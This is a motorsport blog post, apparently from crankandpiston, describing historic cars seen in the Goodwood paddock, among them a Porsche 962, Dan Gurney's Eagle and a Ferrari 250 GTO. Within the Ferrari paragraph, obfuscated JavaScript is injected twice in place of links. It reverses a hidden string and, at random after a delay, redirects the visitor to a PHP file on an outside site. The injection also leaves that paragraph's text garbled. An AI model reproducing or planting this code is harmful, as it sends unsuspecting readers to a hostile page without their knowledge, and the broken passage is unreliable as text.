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Wandering away from the startline for a quick scotch egg and a Red Bull, the crankandpiston lens made a swift detour through the motorsport paddock. First on the agenda of multi-horsepowered track stars was the Group C Porsche 962 piloted by Derek Bell, former-Formula One driver Hans Stuck and Al Holbert in the 1987 World Sports-Prototype Championship. The Rothman Racing trio, after 355 grueling laps, also took category victory at that year’s Le Mans 24hrs.
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Just around the corner from that we find Dan Gurney’s All-American Racing Eagle from 1966. The first driver to win races in sportscars, IndyCars, NASCAR and Formula One, and – now as a team owner – has been a prominent figure on the American motorsport scene since 1958. Three times an Indy 500 podium finisher, Gurney never quite managed to scoop ‘the big one’. Perhaps his most hair-raising attempt came during the 1966 running at the Brickyard, in which his #31 Eagle and ten of Gurney’s fellow competitors were eliminated after an enormous accident just moments after the green flag dropped.
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Espying this Ferrari 250 GTO from across the garage, it’s noteworthy that the name on the door is that of recent $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/nissan-deltawing-sebring-the-road-to-le-mans/” target=”_blank”>Nissan DeltaWing driver Marino Franchitti. Alongside his $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/le-mans-24hrs-a-crankandpiston-pov/” target=”_blank”>Le Mans and endurance racing responsibilities in 2009, Marino took time out to launch the GT beast up the Goodwood hill. If the name ‘Franchitti’ wasn’t enough to crack a smile, then the sounds emanating from the 3.0l V12 will have done the trick.
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Before the Goodwood gates slam closed for another year, there was just enough time for one last look around the varying paddocks, within which was hidden this. The Morgan Tri-Star may not be the most obvious choice for a trackday car given the lack of a fourth wheel, but the Gulf livery, 1950s nostalgia, and awesome outboard 2.0l V-twin engine are enough to make one re-consider. Bonus point if you spotted the subtly hidden tax disc first time around too.
